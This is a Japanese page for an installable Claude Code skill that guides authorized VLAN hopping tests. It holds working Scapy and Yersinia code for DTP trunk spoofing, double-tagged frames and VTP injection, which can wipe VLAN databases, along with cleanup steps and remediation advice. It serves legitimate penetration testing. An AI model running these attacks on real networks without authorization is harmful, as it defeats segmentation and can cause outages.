performing-vlan-hopping-attack について
許可を得た VLAN セグメンテーション評価向けのセキュリティテストスキルです。DTP スプーフィング、ダブルタグ攻撃、スイッチ設定を確認し、結果の記録と中断リスクの抑制を重視します。
主な機能
- 01DTP トランクネゴシエーションのテスト
- 02802.1Q ダブルタグの確認
- 03VTP 攻撃の評価
- 04スイッチ設定の検証
- 05結果の記録と後片付け
活用シーン
- 01侵入テストでの VLAN 分離検証
- 02アクセスポートのトランク設定確認
- 03ネイティブ VLAN 設定リスクの評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-vlan-hopping-attackインストール後、Claude Code で/performing-vlan-hopping-attackを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
VLAN ホッピング攻撃の実行
使用する場面
- 許可を得たペネトレーションテストで、VLAN ベースのネットワークセグメンテーションの有効性をテストする
- スイッチのトランクポート設定によって不正な VLAN アクセスが防止されることを検証する
- 802.1Q タギングとネイティブ VLAN の設定が、ダブルタギング攻撃に耐えられるかを評価する
- ゾーン間の分離に適切なスイッチの堅牢化が不可欠な理由を、ネットワークチームに示す
- DTP(Dynamic Trunking Protocol)がすべてのアクセスポートで無効になっていることを確認する
明示的な許可と変更管理の承認なしに本番スイッチで使用しないでください。また、安全対策なしに重要インフラの VLAN(SCADA、医療機器)に対して使用したり、サービス拒否攻撃の手段として使用したりしないでください。
前提条件
- テスト対象の VLAN とスイッチを明記した書面による許可
- 対象ネットワーク上のスイッチアクセスポートへの物理的または仮想的なアクセス
- Kali Linux にインストールされた Yersinia、Scapy、frogger の VLAN ホッピングツール
- 802.1Q トランキング、DTP、フレームレベルでの VLAN タギングに関する理解
- 設定を確認するためのスイッチ CLI へのアクセス(読み取り専用で十分です)
- タグ付きフレームをキャプチャして検証するための Wireshark
**法的通知:**このスキルは、許可を得たセキュリティテストおよび教育目的のみに使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する不正な使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。
ワークフロー
ステップ 1:VLAN 設定を列挙する
# Identify the current VLAN assignment of the attacker port
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null
# Use CDP/LLDP to discover switch information
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# Or use lldpd
lldpcli show neighbors
# If CDP is enabled, capture CDP frames
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
# Use Yersinia to discover DTP and VTP information
sudo yersinia -G &
# Or command line:
sudo yersinia dtp -attack 0 -interface eth0
# This listens for DTP frames to learn trunk negotiation status
# Nmap to identify hosts on other VLANs (if routing exists)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24
ステップ 2:スイッチスプーフィングを試みる(DTP 攻撃)
# Use Yersinia to send DTP frames and negotiate a trunk
sudo yersinia dtp -attack 1 -interface eth0
# This sends DTP desirable frames to convert the access port to a trunk
# If successful, the port becomes a trunk carrying all VLANs
# Alternatively, use Scapy to craft DTP frames
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *
# Send DTP desirable frame to negotiate trunk
dtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
SNAP(OUI=0x00000c, code=0x2004) /
DTP(tlvlist=[
DTPDomain(type=0x0001, domain=""),
DTPStatus(type=0x0002, status=b"\x03"), # Desirable
DTPType(type=0x0003, dtptype=b"\xa5"), # 802.1Q trunk
DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
])
)
sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP desirable frames sent. Check if trunk is negotiated.")
PYEOF
# If trunk negotiation succeeds, verify by capturing tagged frames
sudo tcpdump -en -i eth0 'vlan' -c 10
# Create VLAN subinterfaces to access other VLANs
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up
# Verify access to other VLANs
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1
ステップ 3:ダブルタギング攻撃を試みる
# Double tagging works when:
# 1. Attacker is on the native VLAN of the trunk
# 2. Target VLAN is different from the native VLAN
# 3. The switch strips the outer tag and forwards the inner tag
python3 << 'PYEOF'
from scapy.all import *
# Craft double-tagged frame
# Outer tag: Native VLAN (e.g., VLAN 1)
# Inner tag: Target VLAN (e.g., VLAN 20 - server VLAN)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"
double_tagged = (
Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
Dot1Q(vlan=1) / # Outer tag: native VLAN (will be stripped)
Dot1Q(vlan=20) / # Inner tag: target VLAN (will be forwarded)
IP(dst=target_ip, src="10.10.20.99") /
ICMP(type=8) # Echo request
)
# Send the double-tagged frame
sendp(double_tagged, iface="eth0", count=5, inter=1)
print("[*] Double-tagged frames sent targeting VLAN 20")
print("[!] Note: Double tagging is unidirectional - no responses expected")
PYEOF
# Use frogger for automated VLAN hopping
# frogger identifies native VLAN and attempts double tagging
sudo frogger
# Verify with Wireshark capture on the target VLAN (if possible)
# On a monitoring port in VLAN 20:
tshark -i eth1 -Y "vlan.id == 20 and icmp" -c 10
ステップ 4:VTP(VLAN Trunking Protocol)攻撃をテストする
# If VTP is in use, attempt to inject a VTP message with higher revision number
# This can overwrite VLAN database across all switches in the domain
python3 << 'PYEOF'
from scapy.all import *
# Craft VTP summary advertisement with high revision number
# WARNING: This can disrupt the entire VLAN domain if successful
vtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
SNAP(OUI=0x00000c, code=0x2003) /
Raw(load=bytes([
0x02, # Version 2
0x01, # Summary advertisement
0x00, # Followers
0x06, # Domain name length
0x54, 0x45, 0x53, 0x54, # Domain: "TEST"
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xFF, 0xFF, # High revision number
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, # MD5 digest (zeros for lab)
]))
)
# Only send in authorized lab environments
sendp(vtp_frame, iface="eth0", count=1)
print("[*] VTP summary advertisement sent")
PYEOF
ステップ 5:スイッチ設定の弱点を確認する
# On the switch (with read access), check for misconfigurations:
# Check DTP status on access ports (should be nonegotiate)
# show interfaces <interface> switchport
# Expected: Administrative Mode: static access
# Negotiation of Trunking: Off
# Check native VLAN configuration (should not be VLAN 1)
# show interfaces trunk
# Expected: Native VLAN not matching any user VLAN
# Check VTP mode (should be transparent or off)
# show vtp status
# Expected: VTP Mode: Transparent
# Check unused ports are disabled
# show interfaces status | include disabled
# Verify port security is enabled
# show port-security
ステップ 6:調査結果と修正策を文書化する
# Clean up VLAN subinterfaces
sudo ip link del eth0.10 2>/dev/null
sudo ip link del eth0.20 2>/dev/null
# Stop any running attack tools
sudo killall yersinia 2>/dev/null
# Document all test results with timestamps
cat > vlan_hopping_report.txt << 'EOF'
VLAN Hopping Test Results
=========================
Test Date: $(date)
Tester: Security Assessment Team
Authorization: PENTEST-2024-0847
Test 1: DTP Switch Spoofing
Result: VULNERABLE - Port negotiated trunk in 3 seconds
Access gained to: VLANs 1, 10, 20, 30, 40
Test 2: Double Tagging
Result: VULNERABLE - Frames reached VLAN 20 from VLAN 1
Note: Unidirectional only (no return traffic)
Test 3: VTP Attack
Result: NOT TESTED - VTP in transparent mode
EOF
主な概念
| 用語 | 定義 |
|---|---|
| VLAN ホッピング | 攻撃者がネットワークセグメンテーションを回避し、アクセス権のない VLAN のトラフィックにアクセスできるようにするレイヤー 2 攻撃手法 |
| DTP(Dynamic Trunking Protocol) | スイッチ間のトランクリンクを自動的にネゴシエートする Cisco 独自のプロトコル。アクセスポートで無効化されていない場合、スプーフィングに対して脆弱です |
| ダブルタギング | 2 つの 802.1Q タグでフレームをカプセル化する攻撃。スイッチのネイティブ VLAN 処理を悪用して、内側のタグが付いたフレームを別の VLAN に転送します |
| ネイティブ VLAN | トランクポートでタグなしフレームに割り当てられる VLAN。ネイティブ VLAN がユーザー VLAN と一致する設定ミスがあると、ダブルタギング攻撃が可能になります |
| VTP(VLAN Trunking Protocol) | スイッチ間で VLAN データベースの変更を伝播する Cisco のプロトコル。サーバーモードでは、より高いリビジョン番号を持つ不正な VTP メッセージによって VLAN データベースが上書きされる可能性があります |
| 802.1Q | トランクリンクを介して VLAN メンバーシップを識別するため、イーサネットフレームに 4 バイトのタグを挿入する VLAN タギングの IEEE 標準 |
ツールとシステム
- Yersinia:DTP、VTP、STP、CDP、DHCP、802.1Q 攻撃に対応し、GUI モードと CLI モードを備えたレイヤー 2 攻撃フレームワーク
- Scapy:カスタムの 802.1Q ダブルタグ付きフレームや DTP ネゴシエーションパケットを作成できる Python パケット操作ライブラリ
- frogger:ネイティブ VLAN の検出とダブルタギング攻撃を自動化する VLAN ホッピングツール
- Wireshark:VLAN タグの内容を確認し、フレームが対象 VLAN に到達したことを検証するパケットアナライザー
- tcpdump:802.1Q タグ付きフレームと DTP/VTP プロトコルトラフィックを監視するコマンドラインキャプチャツール
よくあるシナリオ
シナリオ:PCI-DSS カード会員データ環境における VLAN セグメンテーションのテスト
コンテキスト:小売業者は、VLAN 50 上のカード会員データ環境(CDE)が、社内ネットワーク(VLAN 10)およびゲスト WiFi(VLAN 30)から適切に分離されていることを検証する必要があります。ネットワークでは、802.1Q トランキングを使用する Cisco Catalyst スイッチを使用しています。この評価では、VLAN 10 のポートからのテストが許可されています。
アプローチ:
- VLAN 10 のアクセスポートに接続し、DTP フレームをリッスンしてトランクネゴシエーションの状態を確認します
- Yersinia を使用して DTP desirable フレームを送信します。DTP が無効になっていないため、ポートはトランクのネゴシエーションに成功します
- VLAN 50 のサブインターフェースを作成し、CDE システム(10.10.50.0/24)への到達を試みます。成功するため、セグメンテーションを回避できることが示されます
- VLAN 1(ネイティブ VLAN)から VLAN 50 へのダブルタギングを試みます。ネイティブ VLAN が VLAN 1 であるため、こちらも成功します
- DTP の設定ミスにより VLAN セグメンテーションが PCI-DSS の統制として機能していないことを記録します
- すべてのアクセスポートで DTP を無効にし、ネイティブ VLAN を未使用の VLAN に変更し、ポートセキュリティを有効にすることを推奨します
落とし穴:
- DTP スプーフィングによりスパニングツリーのトポロジ変更が発生し、ネットワーク接続が中断される可能性があります
- ネイティブ VLAN が VLAN 1 でない場合や、スイッチが適切に設定されている場合、ダブルタギングが機能しない可能性があります
- 本番環境での VTP 攻撃により、スイッチングドメイン全体の VLAN が削除され、広範囲にわたる停止が発生する可能性があります
- テスト後に VLAN サブインターフェースを削除し忘れると、不正な VLAN アクセスが可能な状態で残ります
出力形式
## VLAN Hopping Assessment Report
**Test ID**: VLAN-HOP-2024-001
**Switch Under Test**: Core-SW1 (Cisco Catalyst 9300)
**Attacker Port**: Gi1/0/24 (VLAN 10)
**Target VLANs**: VLAN 20 (Servers), VLAN 50 (CDE)
### Test Results
| Attack | Target VLAN | Result | Impact |
|--------|-------------|--------|--------|
| DTP Switch Spoofing | All VLANs | VULNERABLE | Full trunk access gained |
| Double Tagging | VLAN 50 | VULNERABLE | Unidirectional access to CDE |
| VTP Injection | N/A | NOT VULNERABLE | VTP transparent mode |
### Root Causes
1. DTP not disabled on access port Gi1/0/24 (Administrative mode: dynamic auto)
2. Native VLAN is VLAN 1 (default) on all trunk links
3. Unused ports not shutdown on the switch
### Remediation
1. Disable DTP on all access ports: `switchport nonegotiate`
2. Set all access ports to static mode: `switchport mode access`
3. Change native VLAN to unused VLAN: `switchport trunk native vlan 999`
4. Shutdown all unused ports: `shutdown`
5. Enable port security on access ports
6. Set VTP to transparent mode on all switches
コメント
Markdown 対応